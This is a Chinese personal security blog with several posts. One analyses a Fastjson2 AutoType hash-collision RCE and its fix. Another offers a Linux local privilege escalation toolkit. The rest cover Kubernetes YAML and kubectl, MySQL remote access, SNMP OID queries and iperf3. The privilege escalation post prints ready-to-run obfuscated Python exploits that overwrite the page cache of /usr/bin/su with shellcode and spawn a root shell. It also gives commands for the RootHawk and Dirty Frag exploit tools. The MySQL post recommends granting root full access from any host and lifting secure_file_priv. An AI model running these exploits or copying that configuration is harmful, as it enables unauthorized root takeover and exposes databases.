dacj4n's Blog

Fastjson2 AutoType FNV-1a 哈希碰撞白名单绕过致远程代码执行

Mon, 27 Jul 2026 17:12:00 GMT

Fastjson2 2.0.62 AutoType FNV-1a 哈希碰撞远程代码执行漏洞

漏洞概述

项目	详情
漏洞名称	Fastjson2 AutoType FNV-1a 哈希碰撞白名单绕过致远程代码执行
影响版本	Fastjson2 ≤ 2.0.62（含 `com.alibaba:fastjson` 和 `com.alibaba.fastjson2:fastjson2` 两个 artifact）
漏洞类型	反序列化 - AutoType 白名单绕过 → RCE
严重等级	高危（CVSS 待评估）
影响 JDK	全版本（JDK 8 / 11 / 17 / 21），与 JDK 版本无关
官方修复	PR #7695（2026-07-25，wenshao）
CVE 编号	待分配

Fastjson2 在默认配置下处理 JSON 中的 @type 字段时，使用 FNV-1a 增量哈希做白名单校验。由于该校验仅比对哈希值而未验证类名文本内容，攻击者可通过 chosen-prefix 碰撞构造恶意字符串绕过白名单，最终实现远程代码执行。

漏洞分析

根本原因 1：哈希校验无文本验证

核心缺陷位于 ObjectReaderProvider.checkAutoType()（第 848-871 行）：

if (!autoTypeSupport) {
    long hash = MAGIC_HASH_CODE;        // 0xcbf29ce484222325L
    for (int i = 0; i < typeNameLength; ++i) {
        char ch = typeName.charAt(i);
        if (ch == '$') ch = '.';
        hash ^= ch;
        hash *= MAGIC_PRIME;            // 0x100000001b3L

        // ❌ 仅比对增量哈希值
        if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
            // ❌ 直接 loadClass(完整 typeName)，不验证前缀文本
            clazz = loadClass(typeName);
            return clazz;
        }
    }
}

FNV-1a 作为非密码学哈希，增量校验存在如下绕过路径：逐字符计算哈希 → 在某个位置与白名单哈希碰撞 → 直接放行。攻击者构造一个与白名单类名哈希相同但文本不同的前缀，即可绕过检查。

同样缺陷存在于 ContextAutoTypeBeforeHandler.apply()（第 251-278 行）。

根本原因 2：loadClass 无协议字符过滤

TypeUtils.loadClass()（第 3004-3010 行）对输入类名未做任何特殊字符检查：

// ❌ 无 : / ! 字符过滤，直接传入 ClassLoader
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null) {
    return contextClassLoader.loadClass(className);  // 可含 jar:http://... 等 URL
}

: 和 ! 是 JAR URL 协议的关键字符（格式：jar:http://host/path.jar!/classname），攻击者可通过 URLClassLoader 加载远程恶意类。

攻击路径

JSON 输入: {"@type":"<碰撞前缀>+<恶意payload>","cmd":"..."}
    │
    ├─ ① 解析器读取 @type 值
    ├─ ② checkAutoType() 逐字符计算 FNV-1a 增量哈希
    ├─ ③ 碰撞前缀命中 acceptHashCodes → ★ 白名单绕过
    ├─ ④ loadClass(完整恶意 typeName) → 类加载
    └─ ⑤ 反序列化实例化 → setter/constructor → Runtime.exec() → RCE

利用条件

受影响版本：Fastjson2 ≤ 2.0.62
解析配置：SupportAutoType 特性启用，或应用使用能处理 @type 的解析模式（如 JSON.parse(text, Feature.SupportAutoType)）
安全模式：SAFE_MODE 未开启
输入可控：攻击者能够提交含 @type 字段的 JSON 到反序列化入口
碰撞构造：攻击者需离线计算 FNV-1a chosen-prefix 碰撞（模逆算法，理论可行）

注意：本漏洞不依赖特定 JDK 版本，涉及的 API（ClassLoader.loadClass、Runtime.exec）均为 JDK 1.0 标准 API。

官方修复

PR #7695 共修改 4 个文件，分四层防御：

第一层：入口字符拦截

在 checkAutoType、loadClass、ContextAutoTypeBeforeHandler.apply 入口统一添加：

if (typeName.indexOf(':') >= 0 || typeName.indexOf('!') >= 0) {
    throw new JSONException("autoType is not support. " + typeName);
}

: — 阻断 jar:http://、netdoc: 等 URL 协议
! — 阻断 JAR URL 分隔符

第二层：白名单文字复核

哈希匹配后增加文本内容比对（根治哈希碰撞绕过）：

// 新增 acceptNameSet，存储白名单类名
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
    String prefix = typeName.substring(0, i + 1).replace('$', '.');
    if (!acceptNameSet.contains(prefix)) {
        continue;  // ★ 哈希碰撞但文本不匹配 → 拒绝
    }
    clazz = loadClass(typeName);
    ...
}

第三层：高危类型检查

类加载成功后增加额外黑名单检查：

if (clazz != null) {
    if (ClassLoader.class.isAssignableFrom(clazz)
        || JDKUtils.isSQLDataSourceOrRowSet(clazz)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

第四层：底层加固

TypeUtils.loadClass() 增加入口过滤，与第一层保持一致。

修复建议

立即升级：升级到包含 PR #7695 的 Fastjson2 修复版本
开启 SAFE_MODE：添加 JVM 参数 -Dfastjson2.parser.safeMode=true
关闭 AutoType：代码中调用 JSONFactory.setDisableAutoType(true)
入口过滤：如暂无法升级，在反序列化入口对 @type 值做正则校验：^[\w.$[\]]+$
网络隔离：限制 JVM 出站网络连接，阻断远程 JAR 加载路径
依赖审计：扫描项目依赖，确认是否引用了受影响版本的 fastjson2

时间线

日期	事件
2026-05-05	Fastjson2 2.0.62 发布（含漏洞）
2026-07-25	wenshao 提交 PR #7695，修复漏洞
2026-07-27	漏洞分析完成，确认 JDK 全版本受影响

Linux 本地提权工具集

Mon, 15 Jun 2026 13:37:00 GMT

Linux 本地提权工具集

一、漏洞概述

CVE	别名	类型	内核模块
CVE-2026-31431	Copy Fail	页缓存任意写入	AF_ALG / algif_aead
CVE-2026-43284	Dirty Frag (ESP)	页缓存任意写入	XFRM / esp4 / esp6
CVE-2026-43500	Dirty Frag (RxRPC)	页缓存任意写入	RxRPC

共同特征：

Dirty Pipe 漏洞族的延续，都是利用 splice() 将只读文件的页缓存植入内核网络路径，内核 in-place 加解密时直接修改页缓存
确定性逻辑漏洞，不依赖竞态条件，成功率高
漏洞利用失败不会导致内核 panic

二、影响环境

CVE-2026-31431 (Copy Fail)

需 AF_ALG/algif_aead 模块可用：

已测试系统	结果
AnolisOS	✅
openEuler	✅
统信 UOS	✅
openKylin	✅
Ubuntu	✅

CVE-2026-43284 / CVE-2026-43500 (Dirty Frag)

影响范围 2017-01-17 至今约 9 年的内核版本：

已测试系统	内核版本	结果
Ubuntu 24.04.4	6.17.0-23-generic	✅
RHEL 10.1	6.12.0-124.49.1	✅
openSUSE Tumbleweed	7.0.2-1-default	✅
CentOS Stream 10	6.12.0-224.el10	✅
AlmaLinux 10	6.12.0-124.52.3	✅
Fedora 44	6.19.14-300.fc44	✅

链式覆盖逻辑：

ESP 路径：需 unshare(CLONE_NEWUSER) → 大多数发行版可用
RxRPC 路径：无需 user namespace，Ubuntu 默认加载 rxrpc.ko → 覆盖 AppArmor 限制场景

三、使用方法

方法一：Python 脚本（仅 CVE-2026-31431）

脚本文件：CVE-2026-31431-linux本地提权/exp.py、exp_arm64.py

# x86_64
python3 exp.py

# ARM64
python3 exp_arm64.py

exp.py（x86_64 shellcode）：

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

exp_arm64.py（ARM64 shellcode）：

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06caa230181e7dffab08648878bddf7f010c04c1d7400601"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

方法二：RootHawk 集成工具

项目地址：https://github.com/dacj4n/RootHawk

RootHawk 整合了多个提权模块的 Go 二进制文件。

选择对应架构：

RootHawk-amd64 — x86_64
RootHawk-arm64 — ARM64
RootHawk-386 — 32位 x86

chmod +x RootHawk-amd64

# 查看帮助
./RootHawk-amd64 -help

# 查看模块列表
./RootHawk-amd64 -list

# 执行 Copy Fail
./RootHawk-amd64 -e CVE-2026-31431

# 先备份后提权
./RootHawk-amd64 -e CVE-2026-31431 -backup /tmp/su.bak

# 提权后执行指定程序
./RootHawk-amd64 -e CVE-2026-31431 -backup /tmp/su.bak -exec /tmp/root-task

# 执行 Dirty Frag（详细输出）
./RootHawk-amd64 -e CVE-2026-43284 -v

# 依次执行全部模块
./RootHawk-amd64 -any

方法三：Dirty Frag 源码编译

项目地址：https://github.com/dacj4n/dirtyfrag 源码文件：dirtyfrag/exp.c

git clone https://github.com/dacj4n/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

四、执行后清理（重要）

Dirty Frag 运行后页缓存被污染，需 root 执行：

echo 3 > /proc/sys/vm/drop_caches

或直接重启系统。

五、RootHawk 完整参数

-list              显示已集成的 CVE 模块
-e <名称>          执行指定 CVE
-any               按顺序执行全部模块
-pk <路径>         指定 pkexec 路径（默认 /usr/bin/pkexec）
-backup <路径>     CVE-2026-31431 提权前备份 su
-exec <路径>       CVE-2026-31431 提权后执行指定程序
-v                 输出详细日志
-help              显示帮助

六、临时缓解

补丁未发布前：

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

K8s YAML 编写指南：Deployment 与 Service

Tue, 02 Jun 2026 09:52:00 GMT

一、核心概念

K8s 中部署一个应用，通常需要两个 YAML 文件：

文件	作用	类比
Deployment	定义"跑什么"（镜像、副本数、容器配置）	决定开几家店
Service	定义"怎么访问"（端口映射、网络暴露）	决定怎么找到店

用户请求 → Service (端口映射) → Pod (容器运行应用)

二、Deployment 编写详解

2.1 完整模板

apiVersion: apps/v1          # API 版本（Deployment 固定写 apps/v1）
kind: Deployment             # 资源类型
metadata:                    # 元数据（名称、标签等）
  name: java-chains          # Deployment 名称（全局唯一）
  labels:                    # Deployment 级别的标签
    app: java-chains
spec:                        # 规格说明
  replicas: 1                # 运行几个 Pod 副本
  selector:                   # 选择器（匹配哪些 Pod 属于这个 Deployment）
    matchLabels:
      app: java-chains       # 必须与 template.metadata.labels 一致
  template:                   # Pod 模板（定义 Pod 的内容）
    metadata:
      labels:
        app: java-chains     # Pod 的标签（selector 通过这个匹配）
    spec:                    # Pod 的规格
      containers:
        - name: java-chains  # 容器名称
          image: java-chains-1.4.1:latest  # 镜像名称:标签
          imagePullPolicy: IfNotPresent    # 镜像拉取策略
          ports:
            - containerPort: 8011         # 容器监听的端口

2.2 各字段详解

metadata（元数据）

metadata:
  name: java-chains    # 名称，kubectl get/deploy/logs 时用这个名字
  labels:              # 键值对标签，用于 Service 选择和分类
    app: java-chains   # 自定义标签名，通常用 app=<应用名>
  namespace: default   # 可选，指定命名空间，默认 default

spec（规格）

spec:
  replicas: 1          # Pod 副本数量，高可用设为 3
  selector:             # Pod 选择器，必须与 template.labels 匹配
    matchLabels:
      app: java-chains

template（Pod 模板）

  template:
    metadata:
      labels:
        app: java-chains     # ⚠️ 必须与 selector.matchLabels 一致
    spec:
      containers:
        - name: java-chains
          image: java-chains-1.4.1:latest
          imagePullPolicy: IfNotPresent
          ports:
            - containerPort: 8011

2.3 imagePullPolicy 镜像拉取策略

策略	含义	适用场景
`IfNotPresent`	本地有就用本地的，没有才拉取	本地开发的镜像
`Always`	每次创建 Pod 都拉取最新镜像	使用 `latest` 标签时
`Never`	从不拉取，只用本地镜像	离线环境

2.4 多容器示例

一个 Pod 可以运行多个容器（通常一个主容器 + 多个边车容器）：

spec:
  containers:
    - name: java-chains
      image: java-chains-1.4.1:latest
      ports:
        - containerPort: 8011
    - name: log-collector    # 边车容器：收集日志
      image: log-collector:latest
      volumeMounts:
        - name: logs
          mountPath: /app/logs
  volumes:
    - name: logs
      emptyDir: {}

三、Service 编写详解

3.1 Service 类型对比

类型	外部可访问	适用场景
`ClusterIP`	❌ 仅集群内部	微服务间通信、内部 API
`NodePort`	✅ 通过 `节点IP:端口`	开发测试、简单对外暴露
`LoadBalancer`	✅ 通过云厂商负载均衡	生产环境（需要云支持）

3.2 ClusterIP（默认，仅内部访问）

apiVersion: v1
kind: Service
metadata:
  name: java-chains
spec:
  type: ClusterIP             # 默认值，可省略
  selector:
    app: java-chains           # 通过标签选择 Pod
  ports:
    - port: 8011               # Service 对外暴露的端口
      targetPort: 8011         # 转发到 Pod 的 containerPort

访问方式：集群内其他 Pod 通过 java-chains.default.svc.cluster.local:8011 访问。

3.3 NodePort（对外暴露端口）

apiVersion: v1
kind: Service
metadata:
  name: java-chains
spec:
  type: NodePort
  selector:
    app: java-chains
  ports:
    - port: 8011               # 集群内部访问端口
      targetPort: 8011         # Pod 容器端口
      nodePort: 30011          # 外部访问端口（范围 30000-32767）

访问方式：浏览器通过 http://localhost:30011 访问。

3.4 多端口 Service

一个 Service 可以暴露多个端口：

apiVersion: v1
kind: Service
metadata:
  name: java-chains
spec:
  type: NodePort
  selector:
    app: java-chains
  ports:
    - name: http               # 端口名称（必须）
      port: 8011
      targetPort: 8011
      nodePort: 30011
    - name: metrics            # 第二个端口
      port: 9090
      targetPort: 9090
      nodePort: 30090

⚠️ 多端口时，每个端口必须有 name 字段。

3.5 多个 Service 合并写法

多个 Service 可以写在同一个 YAML 文件中，用 --- 分隔：

apiVersion: v1
kind: Service
metadata:
  name: java-chains
spec:
  type: NodePort
  selector:
    app: java-chains
  ports:
    - port: 8011
      targetPort: 8011
      nodePort: 30011
---
apiVersion: v1
kind: Service
metadata:
  name: java-sec-code
spec:
  type: ClusterIP
  selector:
    app: java-sec-code
  ports:
    - port: 8080
      targetPort: 8080

四、端口映射详解

4.1 三层端口关系

外部请求 → nodePort → port → targetPort → containerPort → 应用
(浏览器)   (宿主机)   (Service)  (转发规则)   (容器内)    (监听)

字段	在哪定义	谁在使用	是否必须
`containerPort`	Deployment	容器内的应用	建议填写（文档作用）
`targetPort`	Service	Service 转发目标	✅ 必须
`port`	Service	集群内其他 Pod	✅ 必须
`nodePort`	Service	外部浏览器	仅 NodePort 类型

4.2 port 和 targetPort 可以不同

ports:
  - port: 80           # 集群内访问 :80
    targetPort: 8011   # 实际转发到容器的 8011
    nodePort: 30080    # 外部访问 :30080

这样：

集群内：curl java-chains:80 → 转发到容器 8011
集群外：curl localhost:30080 → 转发到容器 8011

4.3 nodePort 端口范围

默认范围是 30000-32767，超出范围会报错。

如果需要使用范围外的端口（如 18011），有两种方式：

方式一：修改 kube-apiserver 参数（不推荐）

Docker Desktop 可以在设置中修改，但不建议。

方式二：使用 port-forward（推荐，临时方案）

# 将本地 18011 映射到 Service 的 8011
kubectl port-forward svc/java-chains 18011:8011

# 然后浏览器访问 http://localhost:18011

方式三：使用 docker run 的 -p 参数（Docker Desktop 特有）

# 不需要改 YAML，直接映射
kubectl port-forward svc/java-chains 18011:8011 --address 0.0.0.0

五、完整操作流程

5.1 从零部署一个应用

# ===== 第一步：构建镜像 =====
cd demo/java-chains-1.4.1/
docker build -t java-chains-1.4.1:latest .

# ===== 第二步：加载镜像到 K8s =====
# Docker Desktop 内置 K8s 可以直接使用 docker build 的镜像
# Minikube 需要额外加载：
# minikube image load java-chains-1.4.1:latest

# ===== 第三步：部署 Deployment =====
kubectl apply -f java-chains-deploy.yaml

# ===== 第四步：创建 Service =====
kubectl apply -f services.yaml

# ===== 第五步：验证 =====
kubectl get pods -l app=java-chains
kubectl get svc java-chains

# ===== 第六步：访问 =====
# ClusterIP 类型（仅内部）
kubectl port-forward svc/java-chains 8011:8011
# 浏览器访问 http://localhost:8011

# NodePort 类型（直接访问）
# 浏览器访问 http://localhost:30011

5.2 修改端口映射

# 1. 编辑 services.yaml，修改 port/targetPort/nodePort
vi services.yaml

# 2. 重新 apply（K8s 会自动更新）
kubectl apply -f services.yaml

# 3. 验证
kubectl get svc java-chains

5.3 修改镜像版本

# 1. 修改 deploy.yaml 中的 image 字段
#    image: java-chains-1.4.1:latest
#    改为
#    image: java-chains-1.4.2:latest

# 2. 重新 apply
kubectl apply -f java-chains-deploy.yaml

# 3. 查看 Pod 是否重建（新镜像会触发滚动更新）
kubectl get pods -l app=java-chains -w

5.4 扩缩容

# 方式一：修改 deploy.yaml 中 replicas 字段后 apply

# 方式二：命令行直接扩缩
kubectl scale deployment java-chains --replicas=3

# 查看副本数
kubectl get pods -l app=java-chains

5.5 删除资源

# 删除 Service
kubectl delete -f services.yaml

# 删除 Deployment
kubectl delete -f java-chains-deploy.yaml

# 或按名称删除
kubectl delete svc java-chains
kubectl delete deployment java-chains

六、常用排查命令

# 查看 Pod 状态
kubectl get pods -l app=java-chains

# 查看 Pod 详情（包括事件）
kubectl describe pod <pod-name>

# 查看 Pod 日志
kubectl logs <pod-name>
kubectl logs <pod-name> -f          # 实时日志
kubectl logs <pod-name> --tail 50   # 最后50行

# 查看 Service 详情
kubectl describe svc java-chains

# 查看 Service 端点（Pod 是否被正确关联）
kubectl get endpoints java-chains

# 进入容器
kubectl exec -it <pod-name> -- sh

# 端口转发（临时暴露）
kubectl port-forward svc/java-chains 8011:8011

# 查看 Pod 所在节点
kubectl get pods -l app=java-chains -o wide

七、常见问题

Q1: Service 创建了但 Endpoints 为空？

kubectl get endpoints java-chains
# 如果显示 <none>，说明 selector 没有匹配到任何 Pod

原因：Service 的 selector.app 与 Pod 的 labels.app 不一致。

排查：

kubectl get pods --show-labels | grep java-chains

Q2: 修改了 YAML 但没有生效？

# 检查是否有语法错误（dry-run 不实际执行）
kubectl apply -f services.yaml --dry-run=client

# 查看当前实际生效的配置
kubectl get svc java-chains -o yaml

Q3: NodePort 端口冲突？

The Service "java-chains" is invalid: spec.ports[0].nodePort: Invalid value: 30011: provided port is already allocated

说明 30011 已被其他 Service 占用。换一个端口即可。

Q4: Pod 一直 CrashLoopBackOff？

kubectl logs <pod-name>           # 查看应用日志
kubectl describe pod <pod-name>   # 查看事件（可能有镜像拉取失败等信息）

常见原因：镜像不存在、应用启动报错、端口被占用。

Q5: 如何查看当前集群所有端口映射？

kubectl get svc --all-namespaces
# 或更详细
kubectl get svc -o wide --all-namespaces

MySQL 开启远程访问

Tue, 19 May 2026 10:02:00 GMT

MySQL 初次安装后默认只允许 localhost 登录，需要手动配置才能从其他主机远程连接。

1. 本地登录

mysql -u root -p

2. 授权远程访问

MySQL 8.0 之前

-- 允许 root 从任何主机连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'your_password';
FLUSH PRIVILEGES;

-- 允许 root 从特定主机连接
GRANT ALL PRIVILEGES ON *.* TO 'root'@'192.168.1.100' IDENTIFIED BY 'your_password';
FLUSH PRIVILEGES;

MySQL 8.0 及以上

MySQL 8 之后不再支持 GRANT ... IDENTIFIED BY 语法，需要先创建用户再授权：

-- 先创建用户
CREATE USER 'root'@'%' IDENTIFIED BY 'your_password';

-- 再授权
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' WITH GRANT OPTION;
FLUSH PRIVILEGES;

3. secure_file_priv 配置

secure_file_priv 控制 LOAD DATA INFILE / SELECT INTO OUTFILE 的读写目录：

-- 查看当前配置
SHOW VARIABLES LIKE '%secure%';
-- 或
SELECT @@secure_file_priv;

值为空字符串 ""：允许任意目录读写
值为路径（如 /var/lib/mysql-files/）：仅允许该目录
值为 NULL：禁止文件读写操作

如需修改，在 my.ini（Windows）或 my.cnf（Linux）中添加：

[mysqld]
secure_file_priv=""

修改后重启 MySQL 生效。

4. 防火墙放行端口

不要忘记放行 MySQL 默认端口 3306：

# Linux (firewalld)
firewall-cmd --add-port=3306/tcp --permanent
firewall-cmd --reload

# Linux (iptables)
iptables -A INPUT -p tcp --dport 3306 -j ACCEPT

K8s 命令

Fri, 24 Apr 2026 19:35:00 GMT

0x00 查看 Pod

1、查看当前命名空间的 Pod

kubectl get pods

默认是当前 context 的 namespace（通常是 default）

2、查看所有命名空间的 Pod（排障必用）

kubectl get pods -A

等价写法：

kubectl get pods --all-namespaces

3、查看指定命名空间的 Pod

kubectl get pods -n infra

你刚才那个 postgres 就属于这种情况

4、显示更多信息（建议习惯用）

kubectl get pods -A -o wide

会多出：

Pod IP
Node 节点
调度位置

0x01 查看命名空间

1、列出所有 namespace

kubectl get ns

或：

kubectl get namespaces

2、查看当前使用的 namespace

kubectl config view --minify | grep namespace

如果没输出，默认就是：

default

0x02 切换命名空间

1、切换当前 context 的默认 namespace

kubectl config set-context --current --namespace=infra

切完之后你再执行：

kubectl get pods

就等价于：

kubectl get pods -n infra

2、临时指定 namespace

kubectl get pods -n infra
kubectl exec -it xxx -n infra -- /bin/sh

不污染全局配置

0x03 进入 Pod

1、基础进入

kubectl exec -it <pod-name> -n <namespace> -- /bin/bash

如果失败（常见）：

kubectl exec -it <pod-name> -n <namespace> -- /bin/sh

2、你的实际例子

kubectl exec -it postgres-6b74766bdc-gh5hh -n infra -- /bin/bash

如果报错 /bin/bash: not found：

kubectl exec -it postgres-6b74766bdc-gh5hh -n infra -- /bin/sh

3、多容器 Pod（必须指定）

kubectl exec -it <pod-name> -c <container-name> -n <namespace> -- /bin/sh

查看容器名：

kubectl describe pod <pod-name> -n <namespace>

4、不进入 shell，直接执行命令（更高效）

kubectl exec <pod-name> -n <namespace> -- ls /
kubectl exec <pod-name> -n <namespace> -- env

0x04 文件传输

1、从 Pod 下载文件 → 本地

kubectl cp <namespace>/<pod-name>:/path/in/container /local/path

示例：

kubectl cp infra/postgres-6b74766bdc-gh5hh:/var/log/postgresql.log ./pg.log

2、本地上传文件 → Pod

kubectl cp /local/file <namespace>/<pod-name>:/path/in/container

示例：

kubectl cp ./test.sql infra/postgres-6b74766bdc-gh5hh:/tmp/test.sql

3、指定容器（多容器场景）

kubectl cp <file> <namespace>/<pod-name>:/path -c <container-name>

0x05 底层原理

kubectl cp 本质上：

tar | kubectl exec | tar

所以会有两个坑：

常见坑 1：容器里没有 tar

报错类似：

tar: not found

解决：

kubectl exec -it <pod> -n <ns> -- apt update && apt install -y tar

或用替代方案（见下面）

常见坑 2：权限问题

permission denied

解决：

拷贝到 /tmp
或用 root 用户容器

0x06 进阶：无 tar 也能传文件

方法：base64（渗透/极限环境常用）

本地 → Pod

base64 test.txt | kubectl exec -i <pod> -n <ns> -- sh -c "base64 -d > /tmp/test.txt"

Pod → 本地

kubectl exec <pod> -n <ns> -- base64 /tmp/test.txt | base64 -d > test.txt

0x07 常用

1、进入容器排查问题

kubectl exec -it <pod> -n <ns> -- sh

然后：

ps aux
netstat -tulnp
cat /etc/config/*

2、批量进入（调试多个 Pod）

kubectl get pods -n infra -o name | xargs -I {} kubectl exec {} -n infra -- hostname

3、临时调试容器（推荐）

kubectl run debug -it --rm --image=busybox -- sh

用于：

网络测试
DNS 测试
探测服务

4、排查

# 1. 查看 Pod 的上一次终止原因
kubectl describe pod astp-core-677858c449-nm9jz -n daily | grep -A 20 "Last State"

# 2. 查看 Pod 事件中是否有 OOMKilled 记录
kubectl describe pod astp-core-677858c449-nm9jz -n daily | grep -i -A 5 "oom\|kill\|restart"

# 3. 查看容器的资源限制配置
kubectl get pod astp-core-677858c449-nm9jz -n daily -o jsonpath='{.spec.containers[0].resources}'

# 容器实际被分配和使用的内存量
echo "容器实际使用: $(( $(cat /sys/fs/cgroup/memory/memory.usage_in_bytes) / 1024 / 1024 ))Mi" && echo "容器内存限制: $(( $(cat /sys/fs/cgroup/memory/memory.limit_in_bytes) / 1024 / 1024 ))Mi"

# cgroup v2 环境
echo "容器实际使用: $(( $(cat /sys/fs/cgroup/memory.current) / 1024 / 1024 ))Mi" && echo "容器内存限制: $(( $(cat /sys/fs/cgroup/memory.max) / 1024 / 1024 ))Mi"

SNMP查询OID

Fri, 16 Jan 2026 15:54:00 GMT

SNMP查询OID

0x00 安装

apt install snmp snmpd                  # ubuntu
yum install net-snmp net-snmp-utils     # centos

0x01 配置

在下面的配置中添加，然后重启snmpd服务
rocommunity public default

cat /etc/snmp/snmpd.conf

0x02 查询

1、系统

Linux系统

# CPU负载
.1.3.6.1.4.1.2021.10.1.3.1  # 1分钟负载
.1.3.6.1.4.1.2021.10.1.3.2  # 5分钟负载
.1.3.6.1.4.1.2021.10.1.3.3  # 15分钟负载

# CPU使用率
.1.3.6.1.4.1.2021.11.9.0    # 用户CPU使用率%
.1.3.6.1.4.1.2021.11.10.0   # 系统CPU使用率%
.1.3.6.1.4.1.2021.11.11.0   # 空闲CPU百分比%

# 内存
.1.3.6.1.4.1.2021.4.5.0     # 总内存（KB）
.1.3.6.1.4.1.2021.4.6.0     # 空闲内存（KB）
.1.3.6.1.4.1.2021.4.11.0    # 内存缓存（KB）

Windows系统

# CPU
.1.3.6.1.2.1.25.3.3.1.2     # CPU使用率（每个CPU核心）

# 内存
.1.3.6.1.2.1.25.2.3.1.6     # 内存大小
.1.3.6.1.2.1.25.2.3.1.5     # 内存使用量

2、命令

# 从根开始逐级查看
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.4.1

# 查看企业分支
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.4.1.2021

# 查看系统资源分支
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.4.1.2021.11

# 查找包含特定关键词的OID
snmpwalk -v 2c -c public 192.168.1.1 | grep -i "cpu\|load\|usage"

# 查看返回值的单位
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.4.1.2021.11 | head -20

# 测试疑似CPU OID
snmpget -v 2c -c public 192.168.1.1 .1.3.6.1.4.1.2021.11.9.0
# 返回值示例：INTEGER: 12  # 表示12%的CPU使用率

# 测试疑似内存OID
snmpget -v 2c -c public 192.168.1.1 .1.3.6.1.4.1.2021.4.5.0
# 返回值示例：INTEGER: 8123456  # 表示8123456KB空闲内存

3、常用

# CPU
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.11

# 1分钟平均负载
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.10.1.3.1

# 5分钟平均负载  
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.10.1.3.2

# 15分钟平均负载
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.10.1.3.3

# 用户态CPU使用率
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.11.9.0

# 系统态CPU使用率  
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.11.10.0

# 空闲CPU百分比
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.11.11.0

# 内存
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.4

# 总内存 memTotalReal
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.4.5.0

# 可用内存 memAvailReal
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.4.6.0

# 缓冲区内存 memBuffer
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.4.14.0

# 缓存内存 memCached
snmpwalk -v 2c -c public 127.0.0.1 .1.3.6.1.4.1.2021.4.15.0

Iperf3测速

Sun, 28 Dec 2025 14:43:00 GMT

Iperf3测速

iperf3 是一个TCP、UDP和SCTP网络带宽测量工具。是用于主动测量 IP 网络上可达到的最大带宽的工具。它支持调整与时序，协议和缓冲区有关的各种参数。对于每个测试，它都会报告测得的吞吐量/比特率，损耗和其他参数。

0x00 常用参数

1、通用参数

-v 查看版本信息
-p 端口号
-f 指定带宽输出格式： Kbits、Mbits、Gbits、Tbits
-i 监控报告时间间隔，单位秒(s)
-J Json格式输出结果
--logfile 将结果输出到指定文件中

2、服务端参数

-s 以服务器模式运行
-D 后台运行服务器模式

3、客户端参数

-c 以客户端模式运行，连接到服务端

-t 传输时间，默认10秒

-n 传输内容大小，不能与-t同时使用

-b 目标比特率(0表示无限)(UDP默认1Mbit/sec，TCP不受限制)

-l 要读取或写入的缓冲区长度(TCP默认128 KB，UDP默认1460)

-O 忽略前几秒

-R 反向模式运行，即服务端发送，客户端接收

-u 使用UDP协议，默认使用TCP协议

--get-server-output 输出服务端的结果

0x01 安装

# Linux下安装
yum -y install iperf3  # Centos
apt install iperf3     # Ubuntu

# MAC brew下安装
brew install iperf3

# Window下载
https://iperf.fr/

0x02 使用

1、服务端

# 设置监控时间10s，端口为5201，防火墙端口要放行
iperf3 -s -i 10 -p 5201

2、客户端

# 指定-c测速服务器IPx.x.x.x，-p指定端口为5201，-t测速时间5s，-P指定发送连接数10，-R表示下载测速
iperf3 -c x.x.x.x -p 5201 -t 5 -P 10 -R

3、举例

1）执行20s，每5s执行一次

iperf3 -c 43.248.136.69 -t 20 -i 5

2）传输数据包5G，每7s显示一次

